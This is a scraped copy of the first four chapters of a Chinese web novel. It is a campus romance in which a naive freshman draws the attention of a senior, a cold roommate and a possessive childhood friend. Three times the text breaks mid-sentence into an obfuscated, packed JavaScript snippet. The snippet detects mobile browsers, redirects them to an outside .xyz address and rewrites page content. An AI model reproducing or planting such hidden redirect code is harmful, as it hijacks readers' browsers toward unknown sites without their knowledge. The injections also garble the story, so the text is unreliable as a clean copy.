《老实人陷入万人迷修罗场》 1. 第 1 章 1 初秋的凉风里,陈悯之望着黑黢黢的校园,有些茫然地扶了扶眼镜。 今天原本是大一新生报道的日子,但他乘坐的航班因为天气原因,晚飞了整整六个小时,导致他到学校的时候,连校门都快关闭了。 好在宿舍是在暑假就提前分配好的,现在只需要找个路人问问宿舍楼怎么走,安顿好行李,等明天再去学院报道就行。 已经过了晚上十点,大部分学生都已经回寝,陈悯之沿着人工湖走,快一分钟才看到前方围栏旁站着个人。 他喜出望外,正要上去问路,却见那人单手撑在栏杆上,抬腿就往湖里翻。 陈悯之:??? 他怎么也没想到刚进校就撞见有人深夜投湖,脑袋懵了两秒,身体却比意识更快,丢下行李箱就冲过去拦人。 但还是晚了一步,他才堪堪翻过栏杆抓住那人的衣角,对方已经纵身一跃,连带着他一起栽进了湖里。 “救——” 连呼救都来不及,冰冷的湖水铺天盖地涌来,没过了陈悯之的头顶,他不会水,极度的恐慌瞬间侵袭了他的大脑,他本能地在水里扑腾,双手无意识地一通乱抓。 水花四溅中,陈悯之终于如愿以偿地抓住了一根浮木,这根浮木又稳又牢靠,即使挂着他这么大个人也没沉下去。 陈悯之剧烈呛咳一阵,终于把气喘顺后,浮木开口说话了:“你做什么?” 声音来自头顶上方,陈悯之抬头一瞧,再低头一瞅,这才发现自己双臂圈着对方的脖颈,双腿盘着对方的腰身,整个人像八爪鱼一样缠在男人身上。 陈悯之有些赧然,但对溺水的恐惧更胜一筹,他牙齿打着颤,不知是被吓的还是冻的:“...我不会水。” 闻言,对方有些古怪地看了他一眼。 “不会水,为什么要跳下来?” 陈悯之嘴唇哆嗦着,语气有点委屈:“我没想跳下来,我刚才想拉你的,被你一起带下来了。” 他整个人明明都在微微发抖,却还要坚持着说:“同学,人生没什么过不去的坎儿,凡事办法总比困难多,秋天湖水很冷的,你别想不开。” 他这一长串说完,空气安静了长达一分钟。 就在陈悯之以为自己是不是说错话,戳中了对方什么伤心事的时候,头顶忽地传来一声轻笑。 “你误会了。” 男人的声音很好听,像是温凉的玉石:“我并非想不开,只是有重要的东西掉进了湖里。” “啊?” 陈悯之傻眼了,脸庞在短短几十秒内迅速涨红,幸好隔着夜色,看不太明显。 只是他没意识到,他的眼镜早已在挣扎间落入了水里,露出一双乌润润的眼睛,他的瞳仁比寻常人大些,又是纯正的乌黑,显得眼睛又大又圆,此刻长长的眼睫上沾了水,让他显得像某种被雨淋湿了的小动物。 就连衣服也湿透了,紧巴巴地贴在身上,将纤瘦的身形勾勒得一清二楚,锁骨处的凹陷盛着水珠,将他的皮肤衬得像月光下的白雪。 “对不起,我不知道...”陈悯之尴尬得像只鸵鸟似的埋着脑袋,眼神都不知道往哪儿放。 “没关系。”男人的声音掺了些哑,“你先下来。” 这次陈悯之抬起他那双湿漉漉的眼睛,小声重复:“我不会水。” “这里水不深。” 陈悯之这才迟钝地反应过来,对方似乎一直是站着的。 因为水位只淹到胸口。 “... ...” 他恨不得找个地洞钻进去。 陈悯之手忙脚乱地从对方身上滚下来,却又因为撒手撒得太急,脚下没站稳,险些再摔入水中。 但这次一只手扶住了他,男人的声音里带着笑意:“小心。” 大概是真的很好笑吧,陈悯之心想,这算得上是他迄今为止的人生中最尴尬的事情了。 他拾起漂浮在水面上的塑料黑框眼镜,甩甩水重新戴上,视野终于变得清晰。 这时他注意到对方比他高出大半个头,身材也很结实,肩宽背阔,怪不得刚才他抓着感觉这么稳固。 男人的五官很优越,是一种温润如玉,不带任何侵略性的英俊,即使在此刻这样狼狈的境地,也丝毫不掩他身上的气质。 陈悯之视野清晰了,说话底气都要足一些:“你掉下来的是什么东西,我帮你找吧。” 好心办了坏事,帮帮忙也是应该的。 可对方却轻声说:“不用,不重要了。” 陈悯之微微瞪大眼睛:“你刚才还说是很重要的东西。” “嗯,现在不重要了。” 陈悯之感觉脑子快被绕晕了,城里人说话都这么绕来绕去的吗? 但他在脑子里进行了一番逻辑推演,按理说,没道理上一秒还重要到要深夜跳进湖里捞的东西,下一秒就不重要了,这人刚才多半是真想要投湖,被他撞见了死要面子才这么说。 这么一想,陈悯之瞬间觉得刚才的尴尬一扫而空,连胸口都不自觉挺直了些,很配合地没有拆穿:“哦,那我们先上去吧。” 他搓了搓胳膊,小声说:“水里好冷。” 不知是不是错觉,陈悯之觉得,对方好像又在笑一样:“好。” * 上岸后,陈悯之从行李箱里翻出两件衣服,递过去一件:“穿吧。” 对方目光落在那件看上去有些旧,但十分整洁的衬衫上,没有动作。昏黑夜色下,那眸中的情绪让人看不分明。 陈悯之以为对方是嫌弃,挠挠头说:“虽然不新了,但都是洗干净了的,你先将就披一下,回宿舍再换,不然会感冒。” 男人停顿一会儿,伸手接过:“抱歉,我没有嫌弃的意思,只是怕会把你的衣服弄脏。” “没关系,回去洗洗就行。” 交谈中,陈悯之得知对方叫顾明珏,是金融系的大四学长,巧的是他们住的是同一栋宿舍,还是同一楼层。 顾明珏问他是不是来报道的大一新生,陈悯之很惊讶:“你怎么知道?” 顾明珏笑了笑:“你很干净。” 很干净是什么意思? 陈悯之有点莫名其妙,觉得自己现在浑身滴水的样子实在算不上干净,但随即想起最近网上用来形容大学生的那个流行词,什么“清澈的愚蠢”,哦,大概是这意思吧。 他以为顾明珏是在取笑他开学第一天就迟到,还很丢脸地掉进湖里变身八爪鱼缠在人身上,但出乎意料的,男人一路上又并没有表现出任何取笑他的意思,相反,行为举止还十分彬彬有礼,气质涵养都极好,话语间让人感觉如沐春风。 于是便将这一小插曲抛诸脑后。 顾明珏一路送他到宿舍门口,把手里的行李箱推过去:“你明天要去学院报道吧?还要办校园卡这些,不熟悉流程的话,我可以带你。” “真的吗?那太好了。”刚进校有许多手续需要办理,他正愁找不到人带。 陈悯之很开心,觉得自己运气真好,刚进校就交到了这么好的朋友,他眼睛亮亮的:“顾明珏,谢谢你。” “嗯,明天见。”顾明珏微笑着朝他晃了晃手机,示意到时候微信联系。 “等一下!”陈悯之喊道。 顾明珏回过身:“嗯?” 陈悯之目光落在他身上,小声提醒道:“...那个,我的衣服。” 顾明珏垂眼,看了一眼自己身上的衬衫,像是才想起这件衣服不属于自己似的,抬眼对他露出一个带着歉意的笑容:“不好意思,是我忘了,但衣服弄脏了,我洗干净再还给你,可以吗?” 陈悯之原想说不用,他丢洗衣机里一块儿洗了就行,但看着对方坚持和恳切的眼神,还是点头答应了。 和顾明珏告别后,陈悯之敲开宿舍门。 给他开门的男生笑嘻嘻问:“哈喽?你就是陈悯之吧?宿管上来问你几轮了。” 陈悯之抱歉地点点头:“不好意思,我飞机延误了。” 男生瞅了眼他浑身滴水的衣服:“哟,你怎么跟刚从水里捞起来似的?外面也没下雨啊。” 陈悯之更不好意思了:“出了点儿意外。” 见他不愿多说,对方也没再问下去。 男生名叫王鸿洲,介 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14867702|159515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绍了自己的名字后,王鸿洲又指了指侧前方:“他是秦陌。” 陈悯之这才把注意力放到自己的对床,只是那人背对着他,戴着蓝牙耳机,看不太清正脸,只看到修长手指在笔记本电脑上敲着什么,声音很轻。 从他进门到现在,这人除了敲键盘,就没出过声儿。 他注意到对方电脑上不是游戏界面,而是一长串花花绿绿的代码。 陈悯之好奇心一下子上来了,凑过去问:“你是在敲代码吗?可我们还没开始上课呀,你怎么就会了?” 他读的是计算机系,因为高中老师说读计算机好找工作,可这明明都才进校呢,怎么他的舍友看上去已经是技术大佬了? 没得到回答,陈悯之以为对方戴着耳机没听见,又凑得近了一点:“你是我们院的学长吗?” 这次对方摘下耳机,在人体工学椅上朝他转了过来。 陈悯之终于看清了对方的相貌,高鼻深目,鼻梁上戴着一副金丝眼镜,质地看上去比他的塑料眼镜不知强了多少倍。 客观上来讲,此人长相是极英俊的,并不比他刚认识的顾明珏差,只是那双眼睛形状偏窄,瞳仁是一种无法反射任何光芒的漆黑,盯着人时莫名让人有些发怵,嘴唇也薄薄的,看上去显得冷漠而不近人情。 陈悯之一边这么想着,一边又说服自己不能以貌取人,然后就见那张薄唇凉凉地吐出一句话:“离我远一点。” 陈悯之懵了,愣愣地站在原地,不知道自己是那里惹到了对方。 “你身上有水。” 秦陌的视线只是短暂地在他身上停留了一下,很快又漠然地移开。 陈悯之见他从桌上抽了一张纸巾,低头擦椅子皮质扶手上的水渍。 三遍干纸巾,三遍湿纸巾,中途辅以消毒酒精,足足.交替擦了六遍。 陈悯之现在知道是自己身上的水滴下去了,连忙边后退边道歉:“对、对不起,我不是故意的。” “没关系。”秦陌没有回头,重新戴上蓝牙耳机。 虽然得到了谅解,但陈悯之觉得对方好像只是公式化地回答他,实际上依旧不太高兴的样子,因为对方的声线和那张俊脸都冷得快向外冒寒气了。 王鸿洲像是没看见这一切似的,手里拿着削好的水果,翘着个椅子问陈悯之:“吃苹果吗?给。” 尴尬中的陈悯之快要感激涕零,忙顺着台阶道:“好呀,谢谢。” 等他走过去拿苹果,王鸿洲才压低声音说:“你不知道吗?他是秦家的少爷,就是互联网巨头那个秦家,你别看他和我们同届,人家八岁起就开始摸代码,现在都开始接管家业了,跟我们这些未来牛马根本不能比的。” “哇,这么厉害?”陈悯之睁大眼睛。 他其实不算很聪明的那种学生,能考上重点大学全靠刻苦努力,还是吊车尾进的,对学霸难免有些崇拜。 “那可不。”王鸿洲的声音又低了一点,“不过他有洁癖,你注重点儿个人卫生,平时别碰他东西就行。” 陈悯之郑重其事地点点头:“我知道了,谢谢你。” “小事儿。” “对了,还有一个人呢?”陈悯之问。 王鸿洲:“哦,辅导员说那人是大四的学长,在外地实习呢,大部分时候都不回寝的。” 身上还湿着,陈悯之怕感冒,只简单铺了下床就提着桶去洗澡了,打算剩下的行李等明天再收拾。 A大作为百年老校,基础设施算不上豪华,但好在还不算差,宿舍没有独卫,但每层楼都有单独的澡堂,为了缓解用水拥挤,里面是隔间,外面则做成了能容纳更多人的开放式淋浴。 现在已经很晚,澡堂里空荡荡的,陈悯之进隔间洗了十多分钟才听见有人进来。 热腾腾的水流冲遍全身,陈悯之一整天疲倦的身心终于得到舒缓,再抹上他从老家带来的香皂,沐浴在熟悉的气味里,别提有多舒服。 就在这种放松的舒服劲儿中,他手里的香皂蓦地一滑,在地上华丽地打了几个旋儿,最后以一种优雅的姿态滑入了隔壁洗澡间。 陈悯之:“... ...” 2. 第 2 章 2 隔壁洗澡间的动静仿佛停顿了一下。 大概对方也没想到洗澡洗着洗着地板上会飞来一块儿香皂。 陈悯之有点尴尬,但不多,反正隔着洗澡间挡板,对面又不知道他是谁,于是他鼓起勇气问:“不好意思,我的香皂好像掉到你那边去了,能麻烦你帮我捡一下吗?” 没有人回答,浴室里安静得只能听到哗啦啦不间断的水声。 陈悯之疑惑地抓抓耳朵,听水声,刚才进来那人应该就是在他隔壁呀,他判断失误了吗? 耐心等了半分钟,依旧没有任何人说话,陈悯之于是敲敲洗澡间隔板:“你好?有人吗?” 又是十秒钟过去,就在陈悯之都开始怀疑隔壁传来的水声是幻听时,他听到了一个令他浑身僵硬的冷淡声线。 “你自己来捡。” 是秦陌。 “... ...” 如果现在给陈悯之一堆沙子,他能用脚趾抠出一幢芭比梦想豪宅。 水汽氤氲的洗澡间内,陈悯之的脸以肉眼可见的速度涨红,从脸一路红到脖子,耳根子都在发烫。 他觉得这位新室友大概真的不太喜欢他,不然也不会连一块儿香皂都不愿意帮他捡。 可这么干站着也不是办法,陈悯之想了想,试探道:“你不想帮我捡的话,帮我把香皂踢过来可以吧?” “你自己来捡。” 秦陌没有温度地重复。 陈悯之一愣:“啊,这不太好吧,你还在洗...” 他在南方一座小城长大,在许多方面都比较保守,并不想看到别人的裸.体,也不想自己的裸.体被人看见。 秦陌冷冷道:“我不碰别人用过的东西。” 陈悯之:“... ...” 忘了这人有洁癖了。 没多久,隔壁的水声停了下来,陈悯之听见衣料摩擦的声音,料想对方应该洗完了,便裹好浴巾拉开门,在秦陌的隔间外面等着,打算等男人一出来就进去捡他的香皂。 浴室的排水系统是老式的,沿着墙做了一条沟,连通到角落处的排水管,秦陌刚刚不仅没帮他捡还一直在冲水,他都担心他的香皂顺着沟被冲到下水道里去了。 秦陌从洗澡间出来时,看到的就是这样一副场景。 肌肤如雪的少年,纯白色浴巾从胸口处环绕到身后,但因为宽度不够,下摆只堪堪遮到大腿.根,露出的一双腿修长笔直,大.腿浑.圆饱.满,却没有寻常男生过分贲张的肌肉,而是柔和圆润的,雪白的腿.根处堆着一点肉,看上去很软。 少年身上蒸腾着白濛濛的水汽,脸颊上透着花瓣似的粉色,那淡粉从线条柔和的脸侧一直蔓延到纤细的脖颈,就连锁骨处也是红的,一直延伸到被浴巾遮挡住的地方去。 秦陌喉结微动,喉咙莫名有些发干。 他不知道为什么脑子里会想到刚出锅的甜点。 “怎么穿成这样?”男人声音有些不自然。 陈悯之抬起一双水雾蒙蒙的眼睛:“啊?” 什么怎么穿成这样?他只能穿成这样啊,他澡还没洗完,身上都还有泡泡,穿睡衣不把衣服弄脏了吗。 他迟钝的大脑没想到的是,一般只有女生才这么裹浴巾,男生也就把下面围一下,没见过哪个男的给自己围个抹胸裙的。 秦陌微沉的视线落在眼前人脸上。 刚才陈悯之在寝室和他说话的时候,他其实连陈悯之的脸都没仔细看过,只是粗略扫了一眼,觉得此人刘海有些长,戴着个黑框眼镜,显得有些呆呆的,像那种随便就能淹没在人海中的书呆子,没什么特别的。 可现在却觉出些不同来。 他发现陈悯之的五官虽然不是一眼惊艳的漂亮,但非常柔和,这种柔和并不女性化,也并不显得幼态和弱小,而是如同春天的柳絮般,不带半点儿攻击性,显得很好亲近。 最引人注目的还是那双眼睛,眼角旁一颗淡红色小痣,眼珠子又黑又圆,很像某种小动物的眼睛,秦陌一时没想起来像什么,只是觉得那眼里并没有动物的机警,反倒显得有些呆钝和懵懂。 好像还有一丝他看不懂的害怕。 陈悯之的确有点害怕。 他觉得秦陌这个人好像有点凶。 男人身量很高,越过他一个头,身材也比他宽阔很多,黑色短袖下露出的手臂肌肉线条刚劲有力,站在狭窄的隔间过道里压迫感十足。 那双眼睛黑得透不进光,眼窝又深,因而显得幽冷,陈悯之被他看着时,总有种像是被什么冷血生物盯上的错觉。 而且他不知道秦陌到底要做什么,一直盯着他也不说话,还这么大一块儿挡在门前,让他没办法进去捡香皂。 半晌,秦陌终于惜字如金地开口:“以后不要这么穿了。” 丢下这样莫名其妙的一句话,男人便转身离开。 陈悯之虽然搞不懂,但还是长舒一口气,连忙跑进隔间捡他的香皂。 幸好没被水冲走,捡起来搓一搓,还和往常一样香呢。 * 陈悯之仔仔细细洗完澡,再用公共吹风机吹完头发回去,寝室已经熄灯了。 他摸黑爬上床,发现手机上有两条未接来电,还有三条微信消息,都是同一个人发来的。 【哥哥到学校了吗?】 【哥哥睡了吗,怎么不接我电话?】 最后一条是一个小狗探头的表情包,可爱的金毛犬咧开嘴笑着,看了让人忍俊不禁。 发消息的是他发小,陆承轩。 陆承轩比他小两个月,从小对他一口一个哥哥地叫惯了,长大了也没改。 陈悯之窝在被窝里打字回复道:【到了,还没睡呢,刚洗完澡。】 不到两秒钟对面就发来了回复:【那我给哥哥打视频吧。】 陈悯之瞅了眼秦陌那边已经拉上的床帘,回复:【今天不打了,我室友睡了】 陆承轩:【那明天?】 陈悯之:【好】 陆承 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14867703|159515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轩:【可是我现在就想看哥哥,我在这里一个认识的人都没有,好想悯之哥】 陈悯之无声叹了口气。 陆承轩家境不错,至少超越了他们那座小城市的大部分人,但不知为什么,他的父母常年都不在家,照看陆承轩的只有两个住家保姆。 这么多年,陈悯之一次都没见过陆承轩的母亲,只偶尔看到西装革履的男人从轿车上下来,短暂地和陆承轩待了一会儿,又匆匆离开。 缺乏家人的关怀,陆承轩对他这个“哥哥”难免有些过度依赖,甚至高考前还信誓旦旦说要和他报同一所大学。 陆承轩从小就聪明,按理说分数完全是够的,却不知怎地去了他隔壁城市的大学。 他后来想去问问,陆承轩却在高考后突然消失了两个月,直到不久前才重新和他联系上。问发生了什么,对方只含含糊糊地说是家里的事。 陆承轩从小到大只有他这一个朋友,到了陌生城市的新环境,料想是有些不适应的。 陈悯之这么想着,便也没怪陆承轩大半夜的黏人,很耐心地回复:【没关系的,不要怕,你在大学会交到许多新朋友。】 陆承轩:【我不想要新朋友。】 陈悯之对这个弟弟有些无奈,劝导道:【承轩长大了,总有一天要离开我独立生活的,多交一些新朋友,对你未来路上会有帮助。】 【不会。】 对面突然发来两个字。 陈悯之:【嗯?】 陆承轩:【哥哥,我永远不会离开你。】 陈悯之愣了一下。 陆承轩和他说话时很喜欢带一些语气词,突然这么正经,陈悯之倒有些没反应过来。 他只当陆承轩又是耍小孩子性子,没太在意:【嗯嗯,很晚了,早点睡吧。】 陆承轩忽然问:【哥哥可以拍一张照片给我吗?】 陈悯之:【??什么照片】 陆承轩:【就是自拍,我一个人在这边,看着哥哥的照片,会感觉不那么孤单呢。】 陈悯之一头雾水:【可我记得你以前拍过很多我的照片啊】 陆承轩:【那不一样,我想看哥哥现在的照片,这样才算是见到了哥哥,谁让哥哥今天没办法和我打视频电话...】 陆承轩:【可以吗悯之哥~(小狗抱手jpg)】 陈悯之:【...那好吧,你等一下。】 宿舍里都是黑的,陈悯之只好打开闪光灯,随便拍了一张自己在床上的照片。 照片上,穿着大T恤的男生斜靠在墙上,领口往下是线条漂亮的锁骨,因为衣领的松散歪斜,还露出了一小片白.花花的胸口,在闪光灯下雪白得晃眼。 额前的碎发也是微湿的,嘴唇像吸饱了水一般丰盈饱满,唇珠圆润,似含露的花.苞。 陈悯之扫了一眼,觉得没有什么问题,于是点击发送。 这次等了足足五分钟对面都没有回复。 陈悯之困倦地打了个哈欠,关掉手机睡了过去。 3. 第 3 章 3 第二天,陈悯之是在一阵敲门声中醒来的。 他迷迷瞪瞪睁开眼睛,一看宿舍里空荡荡的,再一看时间,已经接近十一点。 糟糕,他昨晚睡觉前和顾明珏约定十点在宿舍楼下见面的,对方应该已经等很久了。 仿佛为了印证他的想法,随着又一阵轻敲,一道声音从门那边传过来:“悯之,你在里面吗?” “在!” 陈悯之三两下套上睡裤翻下床,小跑着过去开门,果然见顾明珏衣着整齐地站在门外,显然是早就收拾好了。 顾明珏脸上倒没有任何不虞的神情,只关切地问他:“你还好吗?有没有哪里不舒服?” 陈悯之微愣:“没有啊,怎么了?” 顾明珏:“我在楼下没等到你,担心你是昨晚泡了水发烧了,你没事就好。” 陈悯之又是尴尬又是愧疚:“不好意思啊,我闹钟不知道怎么没响...” 顾明珏一笑,完全没把这一个小时的等待放在心上似的:“没关系,现在去学院报道也还来得及。” 陈悯之以最快的速度翻找出一套衣服,道:“你等我换身衣服。” “嗯。” 顾明珏非常守礼,不用他说就自觉转过了身。 陈悯之于是放心地脱掉了身上的睡衣。 只是他没有注意到,在宿舍门的侧后方,也就是他背对着的方向,有一面上届学长留下的全身镜,将他的所有动作照得一清二楚。 镜中的人皮肤雪白,身材并不瘦弱,是恰到好处的匀称,后腰处还有两个圆润可爱的腰窝,在一片雪色中凹陷下去,拇指放上去刚好能填满的大小。 往下是挺翘的臀.峰,像一阵饱满的波浪,从纤细的腰身过渡到微有点肉感的大腿.根,看上去又软又嫩。 男人眼底掠过几不可察的一抹暗色。 陈悯之换好衣服,三两下洗漱完,对顾明珏扬起一个笑容:“久等啦,走吧!” 男人眼中的笑意似乎比往常更浓一些:“嗯。” 顾明珏带着他去办理了学生证、校园卡,电话卡等一系列新生需要的东西,弄完时已经接近一点了,学校食堂已经关闭,陈悯之便主动提出请顾明珏在校外吃饭,算作答谢。 吃饭间,陈悯之和顾明珏聊起来,才得知他是顾氏集团的公子,就是给学校捐了一幢教学楼的那个顾氏。 陈悯之张大嘴巴,他没想到顾明珏竟然这么有钱。 可这么有钱,为什么还要去投湖呢?难道不是自杀,而是真有东西掉进了湖里? 思及此处,陈悯之问:“你上次丢在湖里的东西,真的不需要去找了吗?” 他诚恳道:“趁着现在是白天,我可以帮你一起去找的,总比晚上好找。” 可这一次,顾明珏还是语气淡淡地说:“不用了,不是什么重要东西。” 陈悯之不说话了。 他此刻的逻辑又回到了——事物是客观且不以人的主观意志为转移的——一件东西不能在掉入湖里的几分钟内从很重要变得一点儿也不重要——那么顾明珏当时确实是想自杀,且湖中心水深超过三米符合作案条件——月黑风高大晚上不回寝一个人在湖边徘徊本身就很可疑——顾明珏有心理疾病。 推导出最终结论后,陈悯之的内心严肃起来。 作为朋友,他决定以后要多多关心、好好帮助一下顾明珏,让他摆脱心中的阴霾,重拾对人生的希望。 他用一种坚定的语气说:“顾明珏,你是一个很好的人。” 突然被夸的顾明珏:“?” 陈悯之:“我们是好朋友了,你以后有什么事儿都可以跟我说,我也会经常来找你玩儿的。” 顾明珏笑着看他:“嗯,我会的。” 吃完饭,陈悯之要去结账的时候,却被告知和他同桌的那位先生已经结过了。 陈悯之一脸懵地问顾明珏:“不是说好我请客谢谢你的吗?你怎么跑去把账结了?” 顾明珏却望着他,一字一句,近乎郑重地说:“悯之,是我要谢谢你。” 陈悯之莫名其妙:“谢我什么?” 顾明珏倏而一笑:“谢谢你把我从湖里捞上来。” 陈悯之于是了然了,是的,他再一次确定了他的结论。 顾明珏就是有病。 * 吃完饭后,顾明珏还是像上次一样,一路把陈悯之送到宿舍房间门口。 二人道别后,在宿舍里啃炸鸡的王鸿洲问:“兄弟,你什么时候跟校草哥这么熟了?我都看见他两次送你回来了。” 陈悯之:“校草哥?” 王鸿洲:“对啊,你不知道吗?送你回来的那位是大名鼎鼎的校草顾明珏,自从他大一进校开始,我们学校的校草就没换过人。” 陈悯之惊讶:“真的假的?你不也刚进校吗,从哪儿知道的这些?” 王鸿洲一拍大腿:“校园论坛啊,我暑假无聊,把论坛上的热帖都翻遍了,你等我给你找找。” 没多久,他收到王鸿洲转发来的一条论坛贴链接,标题是【A大20xx年年度校草评选(投票已结束)】 点进去,顾明珏的名字和照片赫然出现在榜首,第二名则是一个小麦肤色的高大男生,也帅得很突出,只是下方显示的票数比顾明珏差了一小截,陈悯之猜想大概是这个男生长有点凶的缘故,看上去没那么平易近人。 至于后面十几名选手,和前两位比起来只能说是被降维打击,票数更是差了数十倍。 陈悯之对着评选界面端详一会儿,说:“其实我觉得秦陌也可以去评选,说不定还能拿个第二名。” 话音刚落,就听背后冷不丁响起一道声音:“选什么?” 陈悯之吓得差点儿原地跳起来,一回头,只见秦陌站在寝室门口,不带温度的视线穿过金丝眼镜的镜片,不偏不倚地落在他身上。 陈悯之没来由地觉得身上有点凉飕飕的,他小声说:“选、选校草。” 王鸿洲看出了他的窘迫,也跟着打圆场:“咳咳,他在夸你帅呢。” “无聊。”秦陌停顿一会儿,薄唇吐出两个字,错身从他身旁走过。 见他没有计较,陈悯之无声松了口气,也回到自己的位置上。明天就正式上课了,他打算提前看下专业书。 就在这时,手机传来一阵响动,是陆承轩打来的视频电话。 陈悯之戴上耳机,调整了下姿势,让摄像头对着墙,确保寝室里其他人不会入镜后,才把电话接起来。 屏幕上很快出现一张灿烂的笑脸:“哥哥。” 单看外表,陆承轩长得很符合大众审美中的阳光少年,帅气而没有距离感,浅棕色带卷的头发,微微上扬的眼尾和唇角,给人一种毛绒绒的温暖感觉,让人联想到性格温驯的金毛犬。 事实上陈悯之也是这么觉得的,小时候邻居家养了一条金毛,一见到他就总喜欢往他身上扑,动作跟陆承轩一模一样。 有次他把这种想法跟陆承轩说了,陆承轩两眼发亮地问:“那我也可以像它一样舔哥哥吗?” 结果当然是被陈悯之严词拒绝并深刻教育,说好好的人不要去学狗。 陆承轩问:“哥哥是在寝室吗?” 陈悯之:“嗯,刚回来。” “哥哥寝室有几个人?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14867704|159515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “两个,加我三个。” 陆承轩:“那边的住宿条件看着好差哦,我给哥哥在校外租个单间吧,哥哥出来住好不好?” 陈悯之:“没有啊,我觉得挺好的。” 客观来讲,A大宿舍条件只能说普通,但算不上差。 陈悯之:“你刚上大学,需要用钱的地方很多,不要乱花。” “好吧。”陆承轩失落了几秒钟,很快又扬起笑容,“哥哥,今天有人来找我要微信,我没有给哦。” 陈悯之疑惑问:“为什么不给?你可以多结交些朋友呀。” 那头陆承轩脸上的笑容似乎僵了一下:“因为我不想我的微信好友里有除了哥哥以外的人。” 陈悯之又拿出那副年长者语重心长的语气:“你这样不行的,要敞开心扉才能交到朋友,况且你已经成年了,能在大学谈个女朋友也不错的,诶你咬自己的牙做什么?” 陆承轩也不知听进去没有,没再继续这个话题:“哥哥去学院报道了吗?刚开学需要办很多手续,我整理了一份新生流程,发到你手机上了,哥哥照着上面做就可以了。” 陈悯之缩小通话界面,果然见陆承轩发了一份pdf.文档过来,他点开一看,里面是A大新生入校所有需要办的手续流程,非常详尽,甚至连去每个地方的路线图都有。 陈悯之有些讶然,一直以来他都把陆承轩当做需要照顾的弟弟看待,但没想到这个弟弟在关键时候还挺靠谱的。 而且陆承轩和他不是一个学校,想来做这些费了不少功夫。 陈悯之感动又欣慰:“我已经去报道过了,东西也都办好啦,但你的心意我领了,谢谢你承轩。” 陆承轩眸光微动:“哥哥一个人去的吗?我记得哥哥不是很会弄这些事情呢。” 陈悯之性格有些马虎,一些琐碎的事情上总容易出现错漏。 陈悯之浅笑着说:“和朋友一起去的,他人很好,很多东西都是他帮着在弄。” 不知是不是他的错觉,陈悯之觉得那头陆承轩的笑容似乎有几秒钟的扭曲,整个画面像卡住了一样一动不动。 “嗯?”陈悯之疑惑地拍了拍手机,这暑假刚买的机子怎么就出毛病了呢。 幸好问题不大,他拍完以后,那边的画面又恢复正常了。 陆承轩依然和之前一样笑着:“刚才网卡了呢悯之哥,我没听清你说什么,你刚说那个朋友叫什么名字?哪个学院的?” 陈悯之:“我没有说他叫什么呀,说了你也不知道。” 陆承轩:“哥哥告诉我不就知道了。” 陈悯之心想都是朋友,告诉他也没什么,说不定以后还有机会介绍大家一起认识认识,便道:“好吧,他叫顾明珏,金融系的,对了,他还是我们学校评选第一的校草呢。” 他刚说完,前面突然传来一阵尖锐的椅子拖拽声,陈悯之抬头一看,是秦陌冷着个脸站起身,手里拿了几本书,挎着包准备出门,看上去应该是要去图书馆。 陈悯之瞅了瞅那张英俊中带着冷感的脸,觉得秦陌的脸色好像有一点黑,但又觉得这人好像平时就这样。 那头陆承轩看不到他这边发生了什么,只自言自语般地低声道:“哦...顾家啊。” 陈悯之没听清,压低声音道:“先不和你说了,我好像吵到我室友了,以后我去外面和你打电话吧。” 出乎意料地,陆承轩没有再像往常一样和他撒娇说再多聊一会儿,只说:“嗯,哥哥拜拜。” 晚上,陈悯之在去浴室的路上被人拍了拍肩膀。 一回头,正对上顾明珏温柔的微笑:“好巧,你也去洗澡吗?” 4. 第 4 章 4 陈悯之也露出一个笑:“这么巧。” 顾明珏与他并肩而行,随口问:“现在还很早,你平时去都是这个时间去洗澡吗?” 陈悯之:“也不是,只是因为明天有早八,打算早一点睡。” “这样啊。”顾明珏道,“能给我一份你的课表吗?” 陈悯之:“啊?你要我课表做什么?” 顾明珏笑笑:“我最近对计算机有些兴趣,正好大四没什么课了,打算有空去你们学院旁听。” “哦哦,那我回去发你一份。” 陈悯之心里很欣慰,顾明珏能够去发掘自己的兴趣爱好,说明他现在的心理状况还不错,对生活有兴趣,就不会总想着去自杀了。 本着对精神病人的关爱,陈悯之又很热心地说:“以后你要是有时间,可以和我一起去上课,课下有什么不懂的也可以来问我。” 虽然现在还没开始学习专业课内容,但陈悯之对自己很有信心,他知道自己不是聪明的那挂儿,但每次只要他努力学了,都能得到一个还不错的结果,至少到时候辅导顾明珏这种外行肯定是绰绰有余了。 顾明珏笑容深了些:“嗯,我会的。” 陈悯之想起什么似的:“噢,你还可以去问秦陌。” 顾明珏嘴角的笑容似乎凝固了一秒:“问他做什么?” 